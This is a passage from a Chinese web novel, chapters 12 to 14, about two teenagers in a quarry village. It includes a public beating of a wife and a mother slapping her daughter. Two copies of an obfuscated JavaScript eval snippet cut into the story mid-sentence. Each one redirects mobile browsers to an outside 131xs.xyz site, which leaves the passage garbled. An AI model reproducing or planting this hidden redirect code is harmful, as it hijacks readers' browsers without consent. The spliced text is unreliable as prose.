她跟孔净掏心窝子,“人心隔肚皮,对人不要太实诚,自私的人才活得好。就算是亲弟弟也要防一手,更何况还是个来路不明的。你晓得你和他是什么关系吗?……” 宁桂华想说“争夺资源”,想了半天也没想出来这个曾经在网络贴吧上看到过的时髦小词儿,她只能换种表述方式:“两棵小树苗长在旮沓里,雨水和阳光只有那么多,要想自己长得好就要狠下心去抢!狠!心!晓得不?你要长成树!大树!不要长成花,被别人随便糟蹋!” 孔净被戳了两下胸口,宁桂华用词好残酷,力度透过皮肤和骨骼一下一下像是砸在心脏上。 “行了,自己玩去吧。”宁桂华走了。 孔净待在原地,大脑皮层经过一番“天外来语”的猛烈刺激,有些发蒙。 但很快被她抛诸脑后。 因为谁也没有服软的迹象,所以周一早晨,孔净走得比陈端还要早,把自行车从简棚推出来,晨光熹微,骑上就走了。 阿禾随后就到,捧着几包时新零食大摇大摆地走进一班教室。 孔净低头把桌上的书码齐,阿禾大马金刀坐她同桌空位上,“孔净孔净~看看我今天带什么来换作业啦!” 孔净觑她一眼,由衷佩服好友的厚脸皮。 阿禾开了一包薯片,要喂孔净。 孔净抿紧嘴巴。 “好好吃哒!尝尝嘛!”阿禾的脸陡然在眼前放大,左晃右晃,晃得孔净眼晕。 孔净脑袋往后仰,木然问道:“你昨天又干什么去了?” “和水宝去镇上……啊!我昨天上午给你妈妈打电话,请她跟你说我下午有事——她没有告诉你吗?!” “……这样吗。” 李贤梅用的小灵通是孔大勇换诺基亚之后淘汰下来的,别在腰侧,厂里加工石材的声音嘈杂,很多时候连铃声都听不到,就算接了,李贤梅那么忙,小孩同学打来的电话无关紧要,转头就忘了。 于是,孔净周日被爽约的事就这么翻篇,阿禾又快乐地边吃零食边抄作业。 再过一个暑假就是初三了,孔净有点担心阿禾考不上好高中,“你要不要试着学学看,其实没有那么难。” “不要不要!我看见字脑袋就痛!我有阅读困难症!”阿禾抄作业也不消停,屁股在椅子上扭来扭去,孔净觉得她更像是多动症。 “你高中准备去哪里读?”孔净就问。 她只有阿禾一个好朋友,要是高中也在一个学校就好了。 “南星啦、工贸啊,都可以!” 阿禾从来没想过要在升学上有作为,家里也知道她不是读书的料,所以读完初中就去职高然后找个工作是全家共识。 孔净怅怅然。 没心没肺如阿禾也有片刻的失落,不过她立马笑道:“陈、啊有他陪你啊!” 孔净:“……谁稀罕。” 孔净表面温和,对身边的人包容性很强,但对方要是真的让她打心底不好受了,她就会变得很倔。 连阿禾这么神经大条的人也察觉出了端倪,“你和陈端吵架了吼?” “没有。” 哪里有吵。 明明是他单方面发神经。 “咦,那他给你买的东西你怎么不要?” 晚自习之前她们又光顾文具店,孔净挑了两只签字笔,阿禾也选了一个贴纸她先拿过去一起结账。陈端不知道什么时候进来,从冷饮柜里拿了三杯酸梅汤放在柜台上,跟老板说:“后面的一起。” 阿禾就站在陈端身后,笑嘻嘻地探身冲老板晃了晃手上的东西。 “不好意思,两只笔不要了。” 孔净这时从货架那边走过来跟老板抱歉说了句,就出去了。 她站在文具店门口翻阅新到的杂志,陈端从身侧走过的时候,她低着头一点表情也没有。 不是在冷战吗?谁要他给她买东西了?更何况还是赌博赢来的钱。 阿禾出来时手里还是拿着孔净选好的笔,孔净转头就拿去找老板退了钱。 孔净想让阿禾把钱给陈端,阿禾“哈”了一声,“给他约等于给我们班。” “……”孔净攥着两块钱的票子,心里有点烦。 周三晚自习结束,长脸和圆脸又来了,她们堵在班级门口很张扬地跟人说要找孔净。 她们的打扮很符合初中生对于太妹的想象,因此大家第一时间想到的就是孔净完了,有人来找她麻烦了。 阿禾得到消息第一时间从二班赶来,她看到长脸和圆脸也有点怵,但还是鼓起勇气站到孔净身边:“你们想干什么?” 长脸和圆脸叽叽嚓嚓,说她们只是慕名而来,想请孔净和她的朋友出去玩。 阿禾呆滞:“孔净,你这么有名的吗?” ……老大的女儿就是不一样。 “应该没有吧。” 孔净被长脸和圆脸的说话声弄得快耳鸣,忽然觉得早餐摊油条和烧饼的绝杀组合也变得碍眼。 “吼!陈端!” 阿禾面朝一班后门突然喊了声。 孔净两只眼珠同时往斜后方移动,但随即背对着把橡皮擦装进笔袋,抱着书起身。 教室里已经没多少人了,孔净跟阿禾说了声“走吧”,就从前门出去了。 长脸和圆脸原本哼哈二将一样站在孔净课桌旁的过道上,听见阿禾那一声喊,齐齐往后门瞧一眼,忽然不作声了。 后来几天,陈端经常在一班后门或者走廊出现,像是在看谁又像是谁也不看,视线淡淡往教室内一扫,冷冷清清的,没个焦点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180472|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞得大家都在猜陈端是不是对一班哪个女生有意思。 三班那个说要和孔净做朋友的张曼曼又来找她,“你们班有陈端喜欢的女生?” “也可能是男生。” 孔净只是觉得张曼曼很无厘头,又不熟干嘛找她问这个,但是看见张曼表情惊恐,才意识到自己好像玩笑开大了。 “不是你想的那样,我瞎……” 孔净正要解释,耳边听见一道笑声,很轻,像晚风里似有若无的清淡花香。 陈端还是那个姿势懒懒倚着二班前门的廊柱,也没看这边,垂眼对着廊前的树影弯起了唇。 孔净讶然,腹诽他为什么总是神出鬼没的同时,惊异他居然有酒窝。 小小一枚逗号轻点在脸侧,转瞬即逝,晚风也因此停顿一刹。 不管陈端的身影为什么时常徘徊在一班附近,对孔净来说,长脸和圆脸没再翻墙进来碎碎念,她总算清净了一阵。 又是周五,阿禾破天荒待到了最后一节课,放学后她拖着水宝来找孔净,“孔净!孔净!紫霞仙子要不要看?!水宝知道你喜欢,专门租来孝敬你的哦!” 水宝留着妹妹头,同阿禾一起站在走廊上,透过窗户对着孔净露出两排白牙。 “紫霞仙子?”孔净想看,可是…… “我知道!我已经打给梅姨告诉她你要补课,所以今天要晚回去!”阿禾非常得意已经提前帮孔净扫清障碍。 孔净:“什么时候?” “刚才,梅姨说好!”阿禾嘿嘿笑,示意水宝拿出通讯工具。 孔净惊讶水宝才上初一就有手机,款式小巧的按键机,看样子比孔大勇用的那个还高级。 难怪自从阿禾认了水宝当干妹妹之后,每周都有碟片看有零食吃。 阿禾说水宝爸妈是村里的水产养殖专家,平时很少在,水宝平时和阿嬷阿公一起住。水宝阿嬷超级慈祥,只要告诉她她们是在学习,阿嬷就会准备好水果零食端上楼,她自己不来打扰也只许阿公把收音机放出一点点点声音。 “我们也没有真的骗阿嬷啦!看电影和杂志也是学习,有些还是老师都不知道的知识!”阿禾很有头脑地辩解。 孔净犹豫不决,背着书包去车棚,阿禾和水宝就像两根小尾巴跟在她身后,一路游说。 “咦!陈端!孔净要和我们去看《大话西游》,你去不去?”阿禾属于拿人手短吃人嘴短,沾孔净的光从陈端那儿得了不少好处,碰上了就算只是客气客气也要口头邀请一下。 车棚是半地下室,光线不太好,孔净听见阿禾的话才定睛看清楚靠墙停放的自行车上坐了一个人,而孔净的车就停在他旁边。 但孔净记得周一早上靠墙的位置停的明明不是陈端这辆。 陈端在学校里独来独往惯了,从没见他和男生扎堆,去女生家里看电影照道理是绝对不可能答应的。 但是,他说去。 阿禾哈哈笑两声,这就有点尴尬了。 孔净听着他们的对话,握住自行车龙头同时踢一下脚撑,“你们去吧,我回家了。” “啊啊啊,不要介锅样子啦……”阿禾知道孔净和陈端最近气氛怪异,挠了挠头,眼睁睁看着孔净把车推出白线框,骑走了。 转头,看向墙边,“啊这……” “玩得开心。” 陈端不在乎阿禾的邀请到底真心还是假意,说到底他去不去只取决于孔净。 他左脚轻蹬一下地面也骑车走了。 阿禾后知后觉,“陈端好损,他故意说去,孔净不去之后他也不去。好好的姐妹联谊都被他破坏了!吼!” “可是他为什么要这样呀?”水宝表情懵懂。 阿禾也搞不懂,想了半天忽然灵光一现,“可能是怕半路上被那两个外校女生找麻烦吧。” 说到这里,她大“吼”一声,“为什么我没有这样的弟弟!!!” 陈端腿长,不费力气就追上了孔净。 烟蓝色和淡橘色自行车并行,远处的晚霞似油画色块。 孔净不动声色加速,再减速,然而不管是快还是慢,少年被风吹动的校服衣领始终嵌在余光里。 孔净抿着唇,好气。 “你想害我吗?”她转头,语气不太好。 陈端对上她视线,“你最近最好除了学校和家,哪里都不要去。” “你管我去哪里和做了什么,无论怎么样我起码不会没有底线地去赌。” 孔净耿耿于怀。 陈端忽然静了一瞬。 其实那天他被罚站完全是被牵连,他没赌。 事情原本很简单,几句话就可以说清楚,但他没有解释。 因为孔净的语气太笃定,认定他有错。 “嗯。” 陈端一踩脚踏,越过孔净的车头。 嗯? 孔净很想猛踩一阵飞驰在他前头,但显然心有余而力不足。 前面陈端蓝白校服被风鼓起,不远不近,一段固定的距离。 孔净根本不用刻意去瞧。 ……更烦了。 13. 第 13 章 阿禾提前说了这周不去采菇。外面日头白晃晃的,孔净也懒怠出门,打算周末两天都待在家里。 陈端有时也在。 不过无所谓,他们互相不理。 孔净坐在红色理石桌前,作业写完了就复习。 再过一年就中考,李贤梅和孔大勇从来没说过期望她考哪所高中,但她还是希望自己能尽最大努力考好一点。 周六傍晚,孔净把饭做好了迟迟没见李贤梅回来,本来她说今天可以提早下工的。 孔净站在窗边张望,远远看见一个嬢嬢从厂里跑来,“孔净!孔净!孔老大在不在?!快喊他去厂里!出事了!!” 孔净胸口猛地一抽,跑出去,“出什么事?是不是我妈——” “你爸爸呢?!快去叫他啊!再晚就真的要出大事了!” 嬢嬢语气很急。 孔净脑袋嗡嗡的,“我爸不在……” 陈端本来靠在铁架床上,听见对话出来,看孔净一眼,“去看看。” 孔净没等他说完,拔足就往厂里跑。 石材厂每道加工程序都有危险,在孔净很小的时候就被告诫不要去厂房,小心被大切切断胳膊、被滚落的石材砸破脑袋。 孔净往石材厂跑去,一颗心几乎要跳出来,有个声音在脑海里默念祷告:妈妈没事,妈妈没事…… 接近那排石头房子,漫长的荒草遮挡视野,女人的哭声、男人的咒骂以及男男女女的劝告却似潮水般涌卷而来。 孔净在石阶上滑了一下,身后有只手伸过来要拉她,她甩了一下,什么也顾不上,踉踉跄跄地跳下最后几级阶梯。 看见人群都围在石头房子前,而不是对面厂房里,她一下松了口气。 只要远离厂房里的那些庞大机械,就算出事也不会是关乎人命的血淋淋意外。 “妈,妈……”孔净喊李贤梅,两只手用力扒人缝,要往里边挤。 “诶孔净!上这儿看!别伤着你!” 有个年纪大点的嬢嬢站在平时纳凉的石板上,腰一弯拽住孔净的胳膊把她也拉了上去。 “我妈呢?”孔净问。 “劝架嘛!”嬢嬢另一手紧紧圈住自己的小孙子,生怕他不懂事凑热闹被误伤。 孔净这下彻底把心放回肚子里,李贤梅没事。 那有事的是谁? 她正要问,前面忽然传来一道凄厉的惨叫,围观的人群如同沙子被这奔涌的叫声一下搡开。 孔净瞪大眼睛,从错开的人缝中看见一个身上被扒得衣不蔽体的女人被一根皮带拴住脖子,狠狠拖在地上爬行。 “桂华嬢嬢……” 孔净的眼泪一下就下来了。 她下意识就要跳下石板冲过去,一只温冷的手掌从后面握住她小臂。 孔净挣了两下没挣开,回头,陈端不知道什么时候也站到了石板上,暮色中,他目光淡淡,少年人超乎年龄对他人命运的冷视。 “你放开……” “哎呀呀!人家的家务事,夫妻吵架就是这样的!小娃儿不懂别瞎掺和!”年长的嬢嬢也拦孔净,“有你妈妈在的嘛!她是主事人!听你妈妈怎么说!” 石材厂是孔大勇和李贤梅两口子承包的,孔大勇不在,李贤梅最大,所有人都在等她发话—— “王立胜你不要太过!桂华跟你夫妻一场,无论她做错什么你都不该这么打她!简直不把她当人!” “她本来就不是人,她是婊子!背着老子到处乱搞!给老子戴绿帽子,看老子不整死她!梅姐你最好少说两句,我已经算是给你面子了!”王立胜狠拽一下皮带,宁桂华匍匐在地脖子被迫仰起,发出“嗬嗬”的可怖声音。 在众人看戏间杂着不忍的眼神中,王立胜“啪”的一下把一只小灵通扔在地上,空出来的这只覆满粗茧的大手隔空指一圈,“哪个搞了这个婊子老子心里有数!你们给她发的短信、打的电话都有记录!老子大度,让你们搞!但是今天你们哪个要是敢站出来帮她,就是跟老子对到干!老子反正要去坐牢,弄一个是弄,弄一对就是赚!!” “王立胜你——”李贤梅还想再劝。 被王立胜一下打断:“梅姐,我再最后跟你说一句,今天孔老大不在,我也不跟他计较!” 李贤梅瞬间闭住了嘴巴,两只眼睛被怀疑、愤怒、屈辱……填满。 周围人都不说话了,他们像是在看地上的宁桂华,但更多的是在看李贤梅,甚至看孔净和陈端。 孔净被李贤梅拉拽回石厝时,她慌乱间同刚才那个去家里找她的嬢嬢对视上,她一瞬间明白了她那么着急问孔大勇在不在,除了期望他去主持大局之外,还有更深一层的含义。 看笑话。 “妈……” 回去的路上,孔净喊李贤梅,话音未落就被扇了一耳光。 李贤梅疯了一样转过头,“你刚刚是不是想帮姓宁的?!” 她视线擦过孔净,看见站在孔净后面的少年,她被少年眼里的冷淡刺伤,“养你们还不如养条狗!狗起码不会帮外人!” 孔净感觉被李贤梅拽住的手腕像是要断了,但是这远比不上从左边脸颊传来的痛楚。 她以前也被李贤梅打过耳光,但是从来没有像这次这么痛过。 她被打偏了头,下半身站定,上半身朝后,身体呈现一种怪异的姿势朝后扭曲着,视线垂落,昏冥中看见少年的手紧握成拳,白玉般的手背青筋凸起,和小学那次在众目睽睽之下打架一样的状态。 但也许是她被打昏了头,看错。 孔大勇没回来,打电话也不接。 李贤梅在屋子里没有目的地快速走来走去。 孔净肿着半张脸站在门边,一动不敢动。 她觉得害怕,现在的李贤梅很像一只发狂的蜂子,不惜以同归于尽的方式用螫针狠狠扎向她自认为的敌人。 很不幸,这屋里除了她,只有孔净。 哦,还有陈端。 李贤梅仇恨的目光先是射向陈端,然后才是孔净,最后只有孔净。 “出去待一会。”陈端本来站在孔净身边,后腰靠着铁门,接触到李贤梅的视线后,他微微站直。 孔净听到了,但是她没动。 她已经预料到接下来会发生什么,可是她做不到离开,因为她清楚李贤梅深藏在愤怒之下的悲伤和无措。 她没办法留李贤梅一个人。 而李贤梅对孔净的狂怒也并非没有来由,她师出有名,她飞快走到床边抓起孔净的书包,一把撕开拉链,把里面的东西倒在地上,然后再转身,目的明确地从孔净床上的枕头底下掏出两本册子,甩手砸向她。 封面梦幻的青春杂志掉在地上很响,跟挨耳光的声音很像。 李贤梅脚踩在杂志上又碾又跺,“让你读书,你一天只知道看这些东西!当我不晓得是不是?!我在厂里累死累活,你就是这样回报我的?!你脑子烂掉了!嘴里没有一句实话!昨天还让杨金禾给我打电话说你要补课,晚上才回来——骗鬼啊?你补不补课我难道不知道!你说!你想去哪里鬼混?才几岁就学人家看烂眼睛的黄色书!你天天一口一个桂华嬢嬢,呸!你学嘛!你看嘛!她今天什么下场,你以后也是什么样!!” “滚!滚出去!都给我滚出去——!” 李贤梅把孔净搡出去。 她仇恨地看向陈端,陈端不用她撵,自觉转身也走了出来。 铁门“咣当”落锁。 夜幕已经降临,周遭忽然变得很安静,远远可以听见厂房里机器运转的声音,混乱的人声早已被淹没。 孔净靠墙蹲在石厝的窗台下,轻声说:“不知道桂华嬢嬢怎么样了。” 陈端站在旁边转角的地方,垂着眼睛放空思绪,听见孔净的话看向她,“你还是先关心自己。” 孔净半张脸都是肿的,但是因为窗台下光线昏暗,看不太出来。 她下巴轻抵着膝盖,“我这个过几天就好了,可是桂华……” 一想到她被拴住脖子像狗一样在地上拖行,孔净就觉得浑身泛冷。 如同一条的命运降临在宁桂华的身上。可是,王立胜才是杀一条的真正凶手。 “我报警了。”陈端忽然说。 孔净仰起头,“你……” 陈端从裤兜里拿出一个东西抛给孔净,孔净条件反射伸手去接,是一只按键机,最新的打给110的通话记录在一个多小时前,差不多在那个嬢嬢来报信的时候。 “……哪儿来的?”孔净说的是这只按键机。 “赌钱赢来的。” 如陈端所料,孔净一霎皱起了眉,眼里盛满嫌恶。 孔净扬起胳膊就想把手机丢回去,理智胜过情绪,就算是赌钱赢来的赃物,弄坏了她也赔不起。可她不想走过去,抿唇把手机放在两人之间的草地上,或者说轻摔更为准确。 陈端无所谓,俯身捡起手机,就势也靠墙蹲着。 月光倾照,填不满两个少年之间的空隙。 孔净望着地上的阴影出神,“你好像一点也不惊讶。” “什么?” “桂华嬢嬢和爸爸……” “你不是也早就知道。” 孔净猛地转头,“我没有!” 那次在森林里碰见宁桂华她什么都没看见,只是隐约听见了一点声音,是宁桂华的声音,还有、还有…… 陈端静静看着孔净,“是吗。” 宁桂华不是初犯,村子里和厂区没有招待所,没有开房一说,就算有,那多贵。天然的密林老树是再合适不过的苟合地。宁桂华去得,其他人也去得。 陈端周末如果不在石厝,就是去林子里写生,碰见很正常。只是他们都没有发现他,也不会想到十四岁的少年撞见这种秘辛,事后居然能做到冷眼旁观。 “我真的没有!” 孔净被陈端沉静的目刺到,她像一只被踩伤尾巴的猫,一下跳起来。 可是陈端并不就此罢休,他轻描淡写地告诉孔净,“知道又怎么样。他们只是狗咬狗。” 少年的声音还是那么清爽,声线很好听,完全没有变声期的尴尬。 可是听在孔净耳朵里只觉得陌生。 “你、你怎么这么冷血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180473|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你一点都不担心!” “担心什么?担心你听了宁桂华的话,把我从你家赶出去?”陈端的声音里总算起了一点涟漪,他看着孔净,眸色灰淡。 孔净张了张嘴,她没想到陈端连这个都知道。 “我没……随便你怎么想!” 孔净脑子很乱,好像什么事都做错了一样,好像宁桂华被打得这么惨、李贤梅这么生气、陈端变成现在这个样子,都有她一份功劳。 孔净离开有陈端在的这面墙,走到铁门边坐下。 灯光将她的影子透过铁门空隙引进屋子,李贤梅本来坐在电视机前,余光扫见晃动的影子,忽然起身关掉电视、关掉灯。 整个世界一下暗了。 孔净垂下眼睫,然后才掉下泪来。 孔净在屋外坐了一夜,第二天凌晨天快亮了,“哐当”一声,李贤梅拉开门,声音有点哑,但听得出来火气已经消了大半,“进来睡。” 孔净被惊醒,两条腿已经麻了,手撑在地上被什么东西硌到,低头,是一包已经融化大半的冰块。 茫茫然转头,陈端不在。 停在棚子的自行车也少了一辆。 屋里一片狼藉,孔净蹲在地上把被撕坏的杂志和课本捡起来。 李贤梅看她一眼,什么也没说,又躺回床上去了。 周日,李贤梅一整个上午都在睡觉,也没人敢来喊她。 但是到了中午,孔净做好饭,李贤梅吃了之后,换身衣服,把头发梳得一丝不苟,拿上记账的A4垫板和笔就往厂里去了。 从外表看,她除了眼睛有些红肿,似乎一切如常。 傍晚时分,孔净去公共淋浴间洗澡,听见嬢嬢们在外面的水槽前一边搓洗衣服一边闲聊,话题自然围绕着昨天那件大事。 宁桂华在镇医院养伤,王立胜被派出所留下批评教育。 嬢嬢们压低声音,都在猜宁桂华到底和哪些男人搞了破鞋,一边猜一边自证自家男人绝对清白,然后说着说着就众口一词,“孔老大肯定板上钉钉没跑……” 孔净从淋浴间出来,嬢嬢们集体背后长眼睛,安静一瞬,然后相继转头,亲热地喊她,“过来这边洗,给你让个位置。” 孔净摇摇头,拎着换下来的脏衣服回石厝。 陈端没回来,孔大勇也是。 孔净用透明胶把书和作业本粘好,做好了饭等李贤梅回来。 李贤梅扫一眼她的脸,几个指印高高肿起,她说:“等会去小卖店要点冰块敷一下。” “嗯。” 孔净思绪飘忽,昨天那么晚了,陈端去哪里弄的冰块给她? 晚上李贤梅看电视看到很晚,孔净躺在床上听着从电视机里传来的南音唱词,似懂非懂,惘惘然入睡。 周一早晨,李贤梅看见孔净站在铁架床边愣神:“等什么呢还不走?” 孔净取下书包背上,李贤梅看见旁边挂钩上陈端的书包,皱了下眉,但还是叫住孔净,“把他的也带上。” 孔净已经转身走出门,李贤梅一把拽下陈端的书包追出来,“跟你说话没听到?” 陈端的书包被李贤梅扔进自行车前兜,摔得有些变形了。 孔净低头看一眼,抿着唇没说话。 李贤梅像是有些满意孔净拒绝给陈端捎带书包的行为,本周的生活费多给了她十块。 可这多出来的十块钱,孔净拿着,很烫手。 她到学校时挺早,路过二班走廊装作不经意从后门望进去,里面没多少人,陈端的座位也是空的。 阿禾今天来很晚,离打铃没几分钟了才跑来找孔净。 孔净坐在座位上把作业本和书包一起从窗户递出去,阿禾认得陈端的书包,更惊讶的是孔净的作业本。 “怎么啦?谁撕的?” “我自己。”孔净说,“你借我的书也坏了,中午算一下多少钱,我给你。” “……哦,没事啦。” 阿禾怏怏不快,孔净以为是因为杂志。 中午吃饭的时候阿禾有气没力地往嘴里塞饭,“不是啦,我……” “怎么啦?” “我……”阿禾欲言又止,看见孔净一脑门官司情绪低落的样子,把原来想说的话咽下了。 她吐出一口气,喝完紫菜汤,想起什么,“陈端今天上午翘课,快放学了才进教室。班主任让他中午不准吃饭,在教室后面罚站。” “哦。” “哦?!你们吵架还没有和好吗?” “没有……吵架啦。”孔净假笑一下。 阿禾又叹气,“这样就很麻烦了。” “什么很麻烦?” “啊……就是不能蹭免费雪糕和酸梅汤了啦。” 孔净也叹气,不是因为没有免费雪糕和酸梅汤,而是就算李贤梅多给了十块,还清杂志的债之后,她还是不得不紧缩伙食费。 比她还穷的应该是陈端,李贤梅只让她把陈端的书包带来学校,该他的生活费一句没提。 可是,关孔净什么事。 ……她绝对绝对不会自讨没趣,再去管他。 14. 第 14 章 吃完饭回学校,快要期末了孔净打算去教室复习,阿禾不可能加入,无精打采说要回宿舍午休。 路过二班教室,孔净心不在焉,转头就看见原本应该在罚站的人,趴在后门桌子上睡着了。 少年没穿校服,右边胳膊伸直,背对着把头枕在上面,蜷起的后背撑起T恤面料,肩胛骨和脊骨隐隐突出,怎么两天不见就好像瘦了一圈。 深色牛仔裤已经短了,坐下的姿势露出整个脚踝,底下那双白色运动鞋边缘洗得有些发黄,都是过年时李贤梅领他们去镇上的批发市场买的“韩版时髦款”。 孔净想起他刚来时的装束,她听阿禾说过,一双有打勾标志的正版运动鞋最少也抵得过她一个半月的生活费。 孔净出神想着,斜对面窗户被风吹动,趴在桌子上的人忽然动了一下。 她眨下眼,快步回到教室。 周二,阿禾来跟孔净打小报告,“告诉你哦,昨天晚上陈端没在宿舍睡,今天上午又是快中午才来上课。而且哦,他两只眼睛红红的,一看就是熬夜过度,你说他晚上去干什么了呀?” “不知道。”孔净面无表情,装作很铁石心肠的样子。 周三,阿禾告诉孔净,“陈端翘课和罚站已经是家常便饭,班主任警告他再这样下去就要叫家长了吼!” 周四,“安啦安啦,你也知道我们班主任是雷声大雨点小,暂时没有叫家长,氮素!陈端挨板子了!被教鞭打的!” 周五,“号外号外——” “我可以不听吗?”孔净真的好烦,她一点也不想知道陈端被打的是左边屁股还是右边屁股。 “真的吼!?可是事情超大条诶!跟我前几天跟你说的完全不是一个性质!你是陈端在学校里唯一的亲人,就算不关心,怎么都应该听一下吧。”阿禾表情超认真。 孔净:…… 阿禾挪挪挪挪到孔净耳边。 “……自来水下馒头?!” “对啊,是不是很惨?吼!就在网吧门口,我们班同学亲眼看到的!原来他晚上没在宿舍睡觉是去网吧打游戏。听说昨天晚上有两拨小流氓闹事,他在旁边还不小心挨了一拳……” 阿禾指着自己的左脸跟孔净比划了下,她深感痛惜,“校草的脸就这么毁了……不过话说回来,还好伤的不是脑壳,听说太阳穴这种位置轻轻碰一下就会死掉。哎呀,其实死掉也还好啦,要是被打成脑瘫就夭寿了啦,从此以后你就多了一个傻弟弟……” “……脑瘫不一定会影响智商。” “真的吼?老师连这个都教?” “从杂志上看的……这不是重点。” 孔净想说脑瘫患者已经够惨了,不要随便拿人家开玩笑。 孔净怀疑阿禾夸大其词,但她又讲得有鼻子有眼。 她一点也不关心陈端,可是一下午都不在状态。 刚放学阿禾就背着书包来等孔净,孔净好奇怪,“你不去水宝家吗?” “绝交了……” “怎么会?” 孔净总觉得阿禾最近这段不太对,表面上看起来还是嘻嘻哈哈,但总是走神和叹气,问她是不是遇到什么事,又不肯说。 “孔净,你可不可以跟我、陪我去见一个人?”阿禾嘴巴发白,和平时大大咧咧的样子完全不一样。 孔净看她,“什么人?” “我们都认识的、人。”阿禾咽了下口水,好像很怕的样子。 孔净更加狐疑了,“到底是什么人啊?” “……去了就知道了。”阿禾抿紧嘴巴,六神无主的样子,帮孔净把要带的、不带的通通一股脑塞进包里。 孔净的书包拉链都要被撑坏了,好重。 阿禾一手推车一手紧紧挽着孔净的手臂,出校门时一直在东张西望。 “你在看什么?”孔净问。 “没有啦。”阿禾小声问,“你不跟陈端一起回家哦?” “谁要跟他一起。” “这样吗……” 阿禾咬着嘴唇,不知道是松一口气还是更加担心的样子。 孔净被她拽得身体严重歪向一侧,骑上车之后总算松了一口气。 “就在前面文具店。”阿禾的车把手碰到孔净的。 “这样很危险!”孔净怕出事,龙头已经自动拐向文具店方向了。 阿禾把车骑得很快,一下就超过了孔净。 “喂……”孔净也加速追赶,但是转眼就不见阿禾踪迹。 文具店门口停了好几辆车,其中一辆倒在地上,正是阿禾的。 孔净下了车,抱起书包,然后帮阿禾把车扶起来。 店里人挺多,孔净挤进狭窄的货架空隙,“阿禾,阿禾?” 最里边的货架连着一条昏暗甬道,下午的阳光只能照到甬道另一头的后门槛,门外有一个直径差不多七八十公分的树桩,店里如果没人来光顾老板就会在树桩上摆上一壶粗茶,坐在摇椅上慢慢呷饮,孔净和阿禾有时吃完饭也会买点小零食带上杂志在那里消磨时间。 然而此时,树桩上躺着一个书包,拉链大敞,笔袋、课本、明星画报……撒落在地。 “阿禾?” 阿禾以前也玩过这样的把戏,孔净慢慢往后门走,以防她突然从哪里跳出来,“不要闹了啦,再不出来酸梅汤就被人买光了——” “嘴这么贪,难道大人没有教你贪吃很危险……” 门口光影一晃,有个弓着背的瘦长身影遮挡视线,滑腻腻的声线像是冰冷蛇身掠过脖颈,孔净一霎顿住。 那张脸逆着光,而且隔了好几年,照理来说孔净已经认不出来,可是他脸上的粉刺密布,一个个凸起密密匝匝,每个凸起上面都爆出白色小点,像是从皮肤里面爬出来的蛆。 孔净打了个寒颤。 男生看着孔净的表情忽然笑得身体乱抖,举到脸前的香烟扑簌落着烟灰。 “你想起来了嘛。哈哈……原来你这么想我的啊。过来啊,我这里有比酸梅汤更好喝的东西。” “阿禾呢?” 孔净脚趾抓地,要很努力才能控制身体逃跑的本能反应。 “你过来啊,过来我告诉你。” 男生咬着香烟,虚眯起眼睛,一步步朝她走过来。 孔净感觉双脚被什么东西攫住了一样,一手抱着书包,另一手悄悄滑进隔层,摸到一把美工刀。 就在男生快要走到面前,她忽然转过身,往外面跑。 撞到几个人,老板从柜台前站起身喊她,“消渣谋(疯女孩)!遭瞎难(跑什么)?” 文具店门口阿禾的自行车已经不见了,孔净一把抓住自己车的龙头,前车胎离地,调个头,歪歪倒倒驶离。 男生笑得很大声,阴风似的咬在身后。 车子骑到大马路上,旁边车流轮胎轧过水泥地,这声音把孔净拉回现实。 她回头,什么也没有。 仍旧心有余悸,同时担心阿禾。 这个时间学校里已经没有老师了。 就这么惘乱地机械踩着脚踏,直到龙头被一只白净而有力的手握住,车子一下被阻停。 “想要自杀可以直接骑去路中央。” 孔净被惊了一下,抬眼,才发现已经到了网吧门口。 陈端蹙眉站在她面前,眉骨低低的,左边颧骨上一块紫红色淤青,看起来和平时很不一样。 但如果忽略他略显戾气的眼神,外形上还是给人温淡清爽的感觉。 “怎么了?”几乎是视线碰上的一瞬间,陈端就发现她不对劲。 孔净一下忘了之前和他发生的不愉快,抓住他手腕,“阿禾……你可不可以跟我回去找下阿禾?” “她刚骑车经过。”陈端看着她,“发生什么事?” 孔净听他这样说,紧绷的神经一下松懈。 陈端握着龙头的手并未移开,“发生什么事?”他又问了一遍。 孔净其实想说的,可是她看着陈端脸上的淤青,怕他知道后跟人起冲突,于是垂下眼睫,“没什么。” 陈端眉头皱得很紧,他知道孔净在说谎。 孔净晃了下龙头,“我要回家了。” 顿了顿,想问,你呢? “随便你。”陈端一下松开手。 他走进网吧,门口几个黄绿毛或蹲或站在抽烟,问他:“女朋友哦?” 陈端偏头冷视一眼,黄绿毛愣了愣,咬着烟头很没趣地笑笑。 孔净在网吧门口逗留一会儿,仰头,二楼窗户里那个座位始终是空的。 黄绿毛开始吹流氓哨说荤话,她冷着脸,只好骑车离开。 她还是担心阿禾,绕过厂区,骑车去了村子里。 阿禾的自行车停在她家天井里,人却不在,阿禾阿嬷说她出去找同学玩了。 阿嬷招呼孔净进去喝绿豆汤。 “谢谢阿嬷,我不喝,我要回家了。”孔净只得无功而返。 回到石厝,意外孔大勇的摩托车停在门口,铁门也是开着的。 “你弟弟呢?”孔净一进屋,孔大勇就问。 他坐在桌子边抽烟,面前几瓶空了的啤酒瓶,烟灰缸照例是满的,看样子已经坐了一下午。 李贤梅在做饭,闻言也转头看了孔净一眼。 